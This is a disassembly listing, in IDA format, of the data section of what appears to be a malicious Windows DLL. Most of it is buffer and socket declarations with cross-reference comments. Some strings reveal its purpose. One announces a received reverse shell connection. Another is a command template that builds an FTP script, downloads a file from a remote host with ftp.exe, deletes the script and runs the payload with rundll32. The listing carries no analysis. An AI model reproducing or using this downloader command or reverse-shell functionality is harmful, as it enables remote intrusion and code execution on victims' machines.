aGotReverseShel	db '[+] Got reverse shell connection from %s',0
					; DATA XREF: sub_1000A50C+120o
		align 4
; char aS_dll_8[]
aS_dll_8	db '%s.dll',0           ; DATA XREF: sub_1000A50C+138o
		align 4
; char aEchoOpenSHuX_0[]
aEchoOpenSHuX_0	db 'echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo get %s>>x&ec'
					; DATA XREF: sub_1000A50C+16Co
		db 'ho bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0Dh,0Ah,0
		align 4
; char aD_SS[]
aD_SS		db '%d. %s (%s)',0      ; DATA XREF: sub_1000A858+56o
; char aD_D_D_D_7[]
aD_D_D_D_7	db '%d.%d.%d.%d',0      ; DATA XREF: sub_1000B122+16o
; char aD_D_D_D_8[]
aD_D_D_D_8	db '%d.%d.%d.%d',0      ; DATA XREF: sub_1000B122+76o
; char aD_D_D_D_9[]
aD_D_D_D_9	db '%d.%d.%d.%d',0      ; DATA XREF: sub_1000B122+A8o
		align 10h
byte_10012A40	db 0			; DATA XREF: sub_100020D3+3o
					; sub_100020F5+3o
byte_10012A41	db 3 dup(0)		; DATA XREF: sub_10002092+3o
					; sub_100020B4+3o
		align 8
dword_10012A48	dd 2 dup(0)		; DATA XREF: sub_100019DF+11Fo
dword_10012A50	dd 0			; DATA XREF: sub_1000127E+18o
byte_10012A54	db 0			; DATA XREF: sub_10003D22+3o
					; sub_10003D44+3o
byte_10012A55	db 3 dup(0)		; DATA XREF: sub_10003CE1+3o
					; sub_10003D03+3o
		dd 0
dword_10012A5C	dd 0			; DATA XREF: sub_100024A5+3DDr
					; sub_100024A5+3E5w ...
dword_10012A60	dd 0			; DATA XREF: sub_1000329E+19o
byte_10012A64	db 0			; DATA XREF: sub_100041A3+3o
					; sub_100041C5+3o
byte_10012A65	db 3 dup(0)		; DATA XREF: sub_10004162+3o
					; sub_10004184+3o
		align 10h
; char byte_10012A70[]
byte_10012A70	db 80h dup(0)		; DATA XREF: start+15Co
					; sub_10004BB5+15o ...
; char byte_10012AF0[]
byte_10012AF0	db 20h dup(0)		; DATA XREF: sub_10007424+180o
					; sub_10007424+18Eo ...
; char byte_10012B10[]
byte_10012B10	db 20h dup(0)		; DATA XREF: sub_10007398+16o
					; sub_10007424+373o ...
; char byte_10012B30[]
byte_10012B30	db 10h dup(0)		; DATA XREF: sub_10007398+37o
					; sub_10007398+58o
; char byte_10012B40[]
byte_10012B40	db 80h dup(0)		; DATA XREF: sub_10007398+7Co
; SOCKET s
s		dd 0			; DATA XREF: start+1D5r
					; sub_10004C83+15r ...
dword_10012BC4	dd 20h dup(0)		; DATA XREF: sub_1000504C+9Fo
byte_10012C44	db 0			; DATA XREF: sub_1000504C+4Bo
					; sub_10007005+266r ...
		align 4
		dd 1Fh dup(0)
; char ExistingFileName[]
ExistingFileName db 100h dup(0)		; DATA XREF: DllMain(x,x,x)+15o
					; sub_10004CE4+41o ...
byte_10012DC4	db 0			; DATA XREF: sub_1000534D+3o
					; sub_1000536F+3o
byte_10012DC5	db 3 dup(0)		; DATA XREF: sub_1000530C+3o
					; sub_1000532E+3o
; char Dest[]
Dest		db 10h dup(0)		; DATA XREF: sub_10001EBF+9Bo
					; sub_100024A5+3B8o ...
byte_10012DD8	db 0			; DATA XREF: sub_1000A752+28r
					; sub_1000A752+42o ...
		align 4
		dd 0Fh dup(0)
dword_10012E18	dd 20h dup(0)		; DATA XREF: sub_1000A752+64o
					; sub_1000A858+3Co ...
byte_10012E98	db 0			; DATA XREF: sub_10007424+20C0w
					; sub_1000A8D0+67r ...
byte_10012E99	db 0			; DATA XREF: sub_1000A8D0+93r
					; sub_1000A8D0+A6w ...
		align 10h
dword_10012EA0	dd 0			; DATA XREF: sub_10007424+ED5w
					; sub_10007424+EE7r ...
		dd 57h dup(0)
		dd 6576h dup(?)
; char byte_1002C5D8[]
byte_1002C5D8	db 10h dup(?)		; DATA XREF: start+148o
					; sub_10004BB5+1Ao ...
dword_1002C5E8	dd 20h dup(?)		; DATA XREF: sub_10004CE4+1Bo
					; sub_10004DB1+1Bo ...
; char Str[]
Str		db 80h dup(?)		; DATA XREF: sub_1000504C+2Fo
					; sub_10007005+1D9o
; char Name[]
Name		db 80h dup(?)		; DATA XREF: start+111o
					; sub_1000504C+13o ...
dword_1002C768	dd 20h dup(?)		; DATA XREF: sub_1000504C+83o
					; sub_10007424+1A0o ...
dword_1002C7E8	dd 20h dup(?)		; DATA XREF: sub_1000504C+BBo
					; sub_10005C3D+B6Fo ...
; char byte_1002C868[]
byte_1002C868	db 80h dup(?)		; DATA XREF: sub_100024A5+358o
					; sub_100024A5+7BAo ...
byte_1002C8E8	db ?			; DATA XREF: sub_1000504C+123o
					; sub_1000504C+13Aw ...
		align 4
		dd 200h	dup(?)
; char dword_1002D0EC[]
dword_1002D0EC	dd ?			; DATA XREF: sub_10005C3D+B4Ar
					; sub_10005C3D+B52w ...
		dd ?
		db ?
byte_1002D0F5	db ?			; DATA XREF: sub_10005C3D+B59r
					; sub_10007424+2078w
byte_1002D0F6	db ?			; DATA XREF: sub_10007424+1CC3r
					; sub_10007424:loc_100090F6w ...
byte_1002D0F7	db ?			; DATA XREF: sub_1000A8D0+ADw
					; sub_1000AA09+54w ...
byte_1002D0F8	db ?			; DATA XREF: sub_10005864+3o
					; sub_10005886+3o
byte_1002D0F9	db 3 dup(?)		; DATA XREF: sub_10005823+3o
					; sub_10005845+3o
		align 10h
byte_1002D100	db ?			; DATA XREF: sub_10005A3C+3o
					; sub_10005A5E+3o
byte_1002D101	db 3 dup(?)		; DATA XREF: sub_100059FB+3o
					; sub_10005A1D+3o
		align 8
; u_short hostshort
hostshort	dw ?			; DATA XREF: sub_10001EBF+93r
					; sub_100024A5+3B0r ...
byte_1002D10A	db ?			; DATA XREF: sub_100068E3+3o
					; sub_10006905+3o
byte_1002D10B	db ?			; DATA XREF: sub_100068A2+3o
					; sub_100068C4+3o
; SOCKET dword_1002D10C
dword_1002D10C	dd ?			; DATA XREF: sub_10005A70+12w
					; sub_10005A70+4Fr ...
		dd ?
byte_1002D114	db ?			; DATA XREF: sub_10006970+3o
					; sub_10006992+3o
byte_1002D115	db 3 dup(?)		; DATA XREF: sub_1000692F+3o
					; sub_10006951+3o
		dd ?
byte_1002D11C	db ?			; DATA XREF: sub_10006F70+3o
					; sub_10006F92+3o
byte_1002D11D	db 3 dup(?)		; DATA XREF: sub_10006F2F+3o
					; sub_10006F51+3o
		dd ?
dword_1002D124	dd ?			; DATA XREF: sub_10007005+1Ao
; char dword_1002D128[]
dword_1002D128	dd ?			; DATA XREF: sub_10007424+1840o
dword_1002D12C	dd ?			; DATA XREF: sub_10007424:loc_10008CA5o
dword_1002D130	dd ?			; DATA XREF: sub_10007424:loc_10008F54o
byte_1002D134	db ?			; DATA XREF: sub_10009880+3o
					; sub_100098A2+3o
byte_1002D135	db 3 dup(?)		; DATA XREF: sub_1000983F+3o
					; sub_10009861+3o
		dd ?
; u_short word_1002D13C
word_1002D13C	dw ?			; DATA XREF: sub_10009E30+7Er
					; sub_10009EF0+18Cw ...
byte_1002D13E	db ?			; DATA XREF: sub_10009AF0+3o
					; sub_10009B12+3o
byte_1002D13F	db ?			; DATA XREF: sub_10009AAF+3o
					; sub_10009AD1+3o
; u_short Val
Val		dw ?			; DATA XREF: sub_10009EF0+B0w
					; sub_10009EF0+C2r ...
		align 8
byte_1002D148	db ?			; DATA XREF: sub_1000A720+3o
					; sub_1000A742+3o
byte_1002D149	db 3 dup(?)		; DATA XREF: sub_1000A6DF+3o
					; sub_1000A701+3o
		align 10h
byte_1002D150	db ?			; DATA XREF: sub_1000AC80+3o
					; sub_1000ACA2+3o
byte_1002D151	db 3 dup(?)		; DATA XREF: sub_1000AC3F+3o
					; sub_1000AC61+3o
		align 8
byte_1002D158	db ?			; DATA XREF: sub_1000B0F0+3o
					; sub_1000B112+3o
byte_1002D159	db 3 dup(?)		; DATA XREF: sub_1000B0AF+3o
					; sub_1000B0D1+3o
		align 10h
dword_1002D160	dd ?			; DATA XREF: _CRT_INIT(x,x,x)+8r
					; _CRT_INIT(x,x,x)+10w	...
dword_1002D164	dd ?			; DATA XREF: _CRT_INIT(x,x,x)+21w
dword_1002D168	dd ?			; DATA XREF: DllEntryPoint:loc_1000BB9Fr
					; DllEntryPoint+82r
dword_1002D16C	dd ?			; DATA XREF: __onexit:loc_1000B981o
					; _CRT_INIT(x,x,x)+54w	...
; void *Memory
Memory		dd ?			; DATA XREF: __onexitr	__onexit+1Ao ...
_data		ends


		end DllEntryPoint